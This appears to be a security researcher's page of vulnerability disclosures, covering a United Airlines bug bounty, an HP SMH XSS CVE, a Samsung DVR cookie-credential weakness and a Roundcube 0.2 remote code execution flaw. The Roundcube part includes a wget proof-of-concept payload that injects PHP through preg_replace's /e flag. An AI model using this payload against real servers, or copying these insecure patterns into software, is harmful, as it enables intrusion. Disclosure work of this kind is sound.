United Airlines Bug Bounty Program

After soooome time for the triaging and patching the reported bug. I was awarded with 50,000 miles for reporting a bug to United Airlines, inside their Bugbounty program.

Decided to donate them to Rotary International charity and use them for the great causes.

CVE-2017-12544 Hewlett Packard Enterprise, HP System Management Homepage Software prior to 7.6.1 Cross-site Scripting (XSS)

The HP System Management Homepage (SMH) is a web-based interface that consolidates and simplifies the management of ProLiant and Integrity servers running Microsoft Windows or Linux, or HP 9000 and HP Integrity servers running HP-UX 11i.

https://support.hpe.com/hpsc/doc/public/display?docId=emr_na-hpesbmu03753en_us

Original Advisory: https://www.securityfocus.com/archive/1/541823/30/0/threaded

CVE-2016-10113 I got my first CVE!

Samsung DVR Web Viewer weak credentials

MITRE assigned me on January 4th 2017, CVE-2016-10113 for reporting this vulnerability.

Samsung DVR Web Viewer is by default using HTTP (port 80) and transmits the credentials encoded in the Cookie header using very bad security practice, just encoding the login and password in BASE64 codification. It is trivial to decode those values and gain access to Samsung DVR web interface to monitor and control IP cameras, if the default credentials have been changed.

Vulnerable function:

document.cookie=
'ID='+encode64(document.login_page.id.value)
+'&PWD='+encode64(document.login_page.pwd.value)
+'&SessionID='+Math.random();

Link to the original advisory: https://www.securityfocus.com/archive/1/539944

CVE-2008-5619 Roundcube Webmail 0.2 Remote Code Execution

Public Release Date of POC: 2008-12-22
Author: Jacobo Avariento Gimeno
CVE id: CVE-2008-5619
Bugtraq id: 32799
Severity: Critical
Vulnerability reported by: RealMurphy

Intro

Roundcube Webmail is a browser-based IMAP client that uses “chuggnutt.com HTML to Plain Text Conversion” library to convert HTML text to plain text, this library uses the preg_replace PHP function in an insecure manner.

Vulnerable versions:
Round Cube RoundCube Webmail 0.2-3 beta
Round Cube RoundCube Webmail 0.2-1 alpha (tested)

Analysis of the vulnerable code

The script bin/html2text.php creates an instance of the class html2text with the given POST data, the problem arises in the file program/lib/html2text.php in function _convert() on line 381:

        // Run our defined search-and-replace
        $text = preg_replace($this->search, $this->replace, $text);

Some patterns in $this->search allow interpret PHP code using the “e” flag, i.e.:

'/<a [^>]*href=("|\')([^"\']+)\1[^>]*>(.+?)<\/a>/ie'
'/<b[^>]*>(.+?)<\/b>/ie'
'/<th[^>]*>(.+?)<\/th>/ie'

In concrete those would be replaced by:

'$this->_build_link_list("\\2", "\\3")'
'strtoupper("\\1")'
"strtoupper(\"\t\t\\1\n\")"

Now using PHP complex (curly) syntax we can take advantage of this to interpret arbitrary PHP code, evaluating PHP code embedded inside strings.

Proof of Concept

As this vulnerability was discovered in-the-wild: http://trac.roundcube.net/ticket/1485618 was quite sure that would be exploitable, using PHP curly we can execute phpinfo():

wget -q --header="Content-Type: ''" \
-O - --post-data='<b>{${phpinfo()}}</b>' \
--no-check-certificate \
http://127.0.0.1/roundcubemail-0.2-alpha/bin/html2text.php

Using PHP curly syntax plus some tricks to bypass PHP magic_quotes_gpc to avoid using single or double quotes the arbitrary shell command execution is fully feasible. As this vulnerability was discovered last week no more details will be published yet.